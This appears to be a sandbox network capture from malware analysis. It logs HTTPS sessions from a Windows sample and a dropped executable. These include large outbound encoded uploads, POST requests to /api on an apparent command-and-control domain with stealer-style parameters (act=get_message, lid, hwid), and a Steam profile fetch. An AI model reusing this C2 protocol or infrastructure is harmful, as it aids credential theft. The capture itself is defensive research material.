2024-10-21 08:46:16 UTC	15331	OUT	Data Raw: c8 8e d7 4b 60 0f 6d 72 d7 eb a4 0a 8b e5 be 28 65 ff 58 33 c1 e5 5c 20 43 c4 62 36 12 79 08 23 cb db 2c 6b 17 32 bd fe b3 9c 22 27 4a de d5 f5 9c 55 f2 ff b5 55 fc c4 c9 22 e0 eb 9d c3 79 71 55 1e 6f f6 b5 05 c6 e9 f6 7d 43 e2 dd b9 6f 55 59 c3 12 4d b0 0b a7 4a 90 91 82 20 0f 1d 58 5d 9a 91 94 c6 09 42 6e a0 ce 6d a6 20 75 37 1b 36 51 ee 70 ab ea a1 e8 8f 8b 80 b0 ea 1d 04 6e e1 64 66 33 27 38 50 25 ff db b2 57 36 3e 7a c9 80 6b 77 96 87 64 bd 4c fd eb 5f 1f 3f 42 fe d8 19 9f 0d 24 88 f7 de c0 2d e2 90 e5 b7 1c d3 dc e7 4a e2 ab f1 8a 56 b4 24 c6 fa cf 4c 7c e4 93 cd d0 14 44 f2 6d 16 66 73 dc 96 34 94 50 a0 8d 84 9b 0f 58 91 26 e8 ac dc 59 2d fd 36 1f cd fa 19 25 7a 13 0d 70 9b ab 3f d3 58 3e 43 08 fa b5 d1 a5 c7 39 f7 02 99 ec 00 e7 ea 1f d7 a2 1c 7a Data Ascii: K`mr(eX3\ Cb6y#,k2"'JUU"yqUo}CoUYMJ X]Bnm u76Qpndf3'8P%W6>zkwdL_?B$-JV$L\|Dmfs4PX&Y-6%zp?X>C9z
2024-10-21 08:46:16 UTC	15331	OUT	Data Raw: bf 86 f2 43 da 14 cc 64 d1 f1 22 c3 28 90 dd 97 f0 90 52 0f 2b f1 03 6b 23 66 dd 1d 24 41 f7 1d ea 4f 22 21 44 0e 31 ef 44 3d 10 30 07 af 1b ce 5f 0b 85 09 cf 43 f4 f9 13 17 87 2a 1c 46 f3 d2 09 22 9a 0c 85 74 c5 d7 e4 04 4f 53 d8 b4 1e 2e 93 ea a2 72 df 4d db 5c 0c c3 c0 04 b2 33 df af f6 ff b6 a7 b5 e8 65 fe 48 d8 04 3c 07 e6 9e a3 60 d9 f9 33 e3 2f b0 30 1f 8e 77 51 1a db 39 3e 31 e7 ca b6 1f 88 34 20 6a a3 cc c4 fa 8a 6e d8 d7 ba 28 a5 cf 8d a7 98 5d 50 bc a4 94 61 30 a7 de e6 1a 6b 5f 43 94 0f d5 bb 24 18 4f e6 07 bc 02 eb b1 55 47 5d eb 3b cd 9a c6 f7 87 38 4a 05 20 31 ab 7c 45 bd f4 07 9e fe 24 ec f5 7d 8b de 50 32 b2 3b 35 ae a5 86 f7 44 34 d0 6c 3e 0d 7e 2b 5f d5 2f f1 e4 bc 28 7b 70 7c 58 a2 df 69 d3 f9 5f c4 13 4a e1 fe a9 fa ab 02 a4 40 8f 18 Data Ascii: Cd"(R+k#f$AO"!D1D=0_C*F"tOS.rM\3eH<`3/0wQ9>14 jn(]Pa0k_C$OUG];8J 1\|E$}P2;5D4l>~+_/({p\|Xi_J@
2024-10-21 08:46:16 UTC	15331	OUT	Data Raw: f5 a3 24 eb e3 c7 5d 92 89 a5 fb ba 7e e7 8f 3f 43 97 30 dd d7 4f fa f6 44 15 6a 5e 24 ee ef 01 f4 c1 4c 84 96 04 31 f3 65 41 d5 e5 fd 00 fe 97 17 44 1b 4c ba 57 e6 ac bd 4c 6c 21 6b 63 b9 0e a8 ef 9a 3c 02 db cd 1c 66 a4 c0 d5 dd a6 f2 10 29 1e 0e 42 96 09 67 58 ba 8f 26 c3 af c9 bc 18 bb 20 89 25 4e f1 75 fc 4a f0 5b 10 6e 25 20 22 dd fc 3c e6 1f a8 70 e7 f6 54 a8 77 3a 74 2c 41 96 d9 b8 4e 13 c1 ef 92 85 df 01 94 db 50 52 ec d6 c1 e7 21 44 fc 0d c6 c5 64 db d9 ee a2 61 3d b6 8c b0 90 1b f7 e0 b5 d1 02 e1 28 95 4e c0 9d 98 0b 3f 4a 80 b5 0c 7f cd 31 39 af 74 da 1a a2 25 44 85 20 e5 8d 40 1d aa 30 41 84 4e d8 77 a9 fe 01 c4 0f f1 f1 0b 4a 7c ab 39 f0 28 56 fe e9 27 70 a0 f7 6b 53 3e ca ac 21 58 82 f3 06 a4 3f 09 56 45 d0 82 5d 63 1a 5f 3c 19 54 77 c8 6f Data Ascii: $]~?C0ODj^$L1eADLWLl!kc<f)BgX& %NuJ[n% "<pTw:t,ANPR!Dda=(N?J19t%D @0ANwJ\|9(V'pkS>!X?VE]c_<Two
2024-10-21 08:46:16 UTC	15331	OUT	Data Raw: 3e 93 7d 2e 21 94 60 ce f3 f5 7e 72 7d 84 5a aa d2 61 6d 69 e5 3a ad f1 72 e6 ef 27 e7 42 db f7 05 70 8e 9a ad 78 21 36 00 fb 68 8b 74 ff 7f 80 32 fb 5c eb 51 a1 31 48 37 67 6c e8 ed 7f ba 7d 1c 36 be 0b ea 16 64 f3 cf 55 df 3f 7c 4b 82 b0 dd 28 80 db 0b 91 f9 a1 8c 3d d1 43 b1 f9 46 76 28 18 0e b3 dd bd cd d2 9f b3 6e fd 0c ae 0f e1 e5 4e 61 d9 05 d9 47 f7 4b 33 6f 35 a8 d9 9c 46 d6 36 c6 7d 7f e9 9b e3 a5 00 f6 e0 39 01 91 55 8b 31 52 27 9d 7c b9 1f 9a 5d 1d 64 69 45 13 16 fc 64 71 ce e3 af e6 b7 01 7e 02 f1 d7 08 31 08 17 8c db fa f5 ec d2 68 92 08 c5 17 32 77 cc cf 40 c8 3c ac 17 dd 21 d8 94 a5 75 08 1c b6 4e af ad 31 5a 0d 4c 6b 42 9b 96 62 f8 e9 8d 3c 14 73 93 62 ee 79 96 b5 9e f4 e9 7a 1a 2f 98 dc 40 cf d8 81 a6 5f c2 1a 0b 94 d7 49 b5 b2 e9 8a f5 Data Ascii: >}.!`~r}Zami:r'Bpx!6ht2\Q1H7gl}6dU?\|K(=CFv(nNaGK3o5F6}9U1R'\|]diEdq~1h2w@<!uN1ZLkBb<sbyz/@_I
2024-10-21 08:46:20 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:46:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t6nbv4r1ejks1qbqj1cj0un08c; expires=Fri, 14 Feb 2025 02:32:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F8psFLcuQKpkYnf4lkV6PqxmgujDMptv4HyvK7plnpViqS7i9XWGD%2BXE7fcrzBabY5%2F4TaISJH3LWrsY4DW38bkHBltbaqTuaw8W5BO7Mdtf%2B4zd8D6lrcGynaLOluyrOA9wiQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ff9eb48972ca9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1523&sent=228&recv=623&lost=0&retrans=0&sent_bytes=2844&recv_bytes=572173&delivery_rate=1863577&cwnd=249&unsent_bytes=0&cid=2521f6046dece7d1&ts=3526&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	172.67.206.204	443	7428	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:46:21 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=YHKU3vwhZF6L5XAIpMCAu_nY3bvyqqm2KIHGMppBQ_M-1729500361-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-21 08:46:21 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=D1971A1CD62E1B8D4C166F146C215A77
2024-10-21 08:46:21 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:46:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=guvka5rou2910l7obqh9s1n3j8; expires=Fri, 14 Feb 2025 02:33:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EeEb%2FM85tNPFMZF5Mh7euivhjQFx7GEw2BOS%2Fzr0WsOZgvxVXKKiDNxcKGJxMOWzZONV7qt5AWBsyZNnfS76MaoUlDx%2FTghSXlvGIePx93uCT5hN9jxpAMVB0oRg94E1GlZv4A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffa067a3f4624-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2228&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=1285968&cwnd=250&unsent_bytes=0&cid=989485f40cbe2b7b&ts=569&x=0"
2024-10-21 08:46:21 UTC	307	IN	Data Raw: 31 32 63 0d 0a 34 41 77 6a 71 6c 65 7a 42 45 6d 56 68 64 7a 51 46 7a 2f 63 59 65 41 4a 77 4a 6b 41 4e 4e 72 70 52 6c 67 4e 32 64 6d 37 59 59 4b 37 64 77 48 66 64 59 6b 6d 49 65 48 78 72 4f 70 4c 45 49 42 4f 30 54 48 31 74 7a 49 46 37 38 64 33 61 54 37 33 36 49 30 39 72 59 31 6c 54 63 38 4c 6e 48 59 6f 2b 2b 47 7a 76 54 6c 61 70 41 54 43 4a 65 4c 2f 64 42 62 67 32 57 70 36 61 50 76 6a 69 78 79 75 6d 79 35 57 69 47 32 52 62 44 33 68 39 65 61 4d 4f 47 50 7a 55 4e 67 38 37 71 73 78 41 66 54 59 64 32 73 6a 36 4f 2f 6e 54 76 47 55 61 55 4c 48 43 35 78 32 4b 50 76 68 73 37 30 35 57 71 51 45 77 69 58 69 2f 33 51 57 34 4e 6c 71 65 6d 6a 37 34 34 73 63 72 70 73 75 56 6f 68 74 6b 57 77 39 34 66 58 6d 6a 44 68 6a 38 31 44 59 50 4f 36 72 4d 51 48 30 32 48 64 72 49 2b Data Ascii: 12c4AwjqlezBEmVhdzQFz/cYeAJwJkANNrpRlgN2dm7YYK7dwHfdYkmIeHxrOpLEIBO0TH1tzIF78d3aT736I09rY1lTc8LnHYo++GzvTlapATCJeL/dBbg2Wp6aPvjixyumy5WiG2RbD3h9eaMOGPzUNg87qsxAfTYd2sj6O/nTvGUaULHC5x2KPvhs705WqQEwiXi/3QW4Nlqemj744scrpsuVohtkWw94fXmjDhj81DYPO6rMQH02HdrI+
2024-10-21 08:46:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49908	104.102.49.254	443	3408	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:17 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-21 08:47:17 UTC	1891	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://ste [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 21 Oct 2024 08:47:17 GMT Content-Length: 34508 Connection: close Set-Cookie: sessionid=75d2ee7fc42d13f2baca367c; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd883ccb3237fa39d2837163d0f38217b; Path=/; Secure; HttpOnly; SameSite=None
2024-10-21 08:47:17 UTC	14493	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-21 08:47:17 UTC	16384	IN	Data Raw: 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 41 63 63 6f 75 6e 74 20 4d 65 Data Ascii: etY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu" aria-label="Account Me
2024-10-21 08:47:17 UTC	3631	IN	Data Raw: 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 5f 69 6e 6e 65 72 22 3e 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 72 69 67 68 74 63 6f 6c 22 3e 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 73 74 61 74 75 73 5f 69 6e 66 6f 22 3e 0d 0a Data Ascii: y'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div class="profile_content_inner"><div class="profile_rightcol"><div class="responsive_status_info">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49920	172.67.206.204	443	3408	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:18 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-21 08:47:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-21 08:47:18 UTC	562	IN	HTTP/1.1 403 Forbidden Date: Mon, 21 Oct 2024 08:47:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LRSiB3sMpB9xyKpUVBAO%2BmLRs5uvMjVsmxQlo5K7Vg60xGRjpobUaicFHTX1cZwZ1nCatqTREsL8rudKwn467gjEQjnjOFh7ImyWwA%2F%2B1Ay0lS%2B4sY74yq7vKeazvvGadQtccg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffb6d68e26b49-DFW
2024-10-21 08:47:18 UTC	807	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-21 08:47:18 UTC	1369	IN	Data Raw: 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e Data Ascii: cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElemen
2024-10-21 08:47:18 UTC	1369	IN	Data Raw: 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-21 08:47:18 UTC	899	IN	Data Raw: 38 36 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 Data Ascii: 86</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-land
2024-10-21 08:47:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49926	172.67.206.204	443	3408	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:19 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=dvHUxLh5jTM1BO9uUWpXSFj4QlJKa.UxusuIwGc4TA0-1729500438-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-21 08:47:19 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-21 08:47:21 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0ad4hqdouj6vpbjv6v93ids6k5; expires=Fri, 14 Feb 2025 02:33:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pMU%2FYROsCBBAxzG4h7wKHtaIsXyxGDmLTProFHZxtHlZfxaqfYYSFVbiOV4CLWY%2BVnQsULaf4%2B7KVm1pDsCauKXocQfS0TV%2Fz4aks6d9buVheARtfZ2r7%2BixADPXqZvhP3RE2Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffb732874e726-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1581&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1042&delivery_rate=2238021&cwnd=205&unsent_bytes=0&cid=95f9025363f414eb&ts=1572&x=0"
2024-10-21 08:47:21 UTC	348	IN	Data Raw: 31 64 38 32 0d 0a 35 53 2f 52 37 4e 65 6e 71 55 79 6a 2f 4d 35 61 6d 51 5a 48 4a 55 77 78 56 37 77 36 37 41 74 76 59 52 49 68 79 79 30 65 56 67 6d 65 44 61 66 4f 37 5a 4f 46 62 74 43 5a 37 47 44 74 64 44 4a 41 59 42 4d 32 32 42 6a 57 62 51 34 4e 59 55 54 6e 44 32 67 37 4b 39 39 4a 73 49 43 6b 77 6f 56 75 78 6f 54 73 59 4d 4a 39 5a 55 41 69 45 32 32 65 58 34 5a 70 44 67 31 77 51 4b 42 43 62 6a 70 71 6a 55 4f 32 68 4c 4c 45 7a 53 33 50 6b 61 73 2f 2f 47 63 74 53 79 56 63 50 39 45 59 77 43 6b 4b 47 7a 41 62 36 57 42 37 49 6d 69 6f 54 71 4b 48 39 64 71 46 4e 34 47 5a 6f 48 69 6a 4a 43 5a 41 4c 6c 30 78 32 46 47 45 59 77 63 46 63 55 57 68 58 58 63 77 59 59 31 4e 74 59 57 34 7a 64 6b 67 78 5a 61 67 4f 66 5a 6e 5a 51 6c 75 56 43 32 65 41 4d 34 36 50 77 42 68 55 Data Ascii: 1d825S/R7NenqUyj/M5amQZHJUwxV7w67AtvYRIhyy0eVgmeDafO7ZOFbtCZ7GDtdDJAYBM22BjWbQ4NYUTnD2g7K99JsICkwoVuxoTsYMJ9ZUAiE22eX4ZpDg1wQKBCbjpqjUO2hLLEzS3Pkas//GctSyVcP9EYwCkKGzAb6WB7ImioTqKH9dqFN4GZoHijJCZALl0x2FGEYwcFcUWhXXcwYY1NtYW4zdkgxZagOfZnZQluVC2eAM46PwBhU
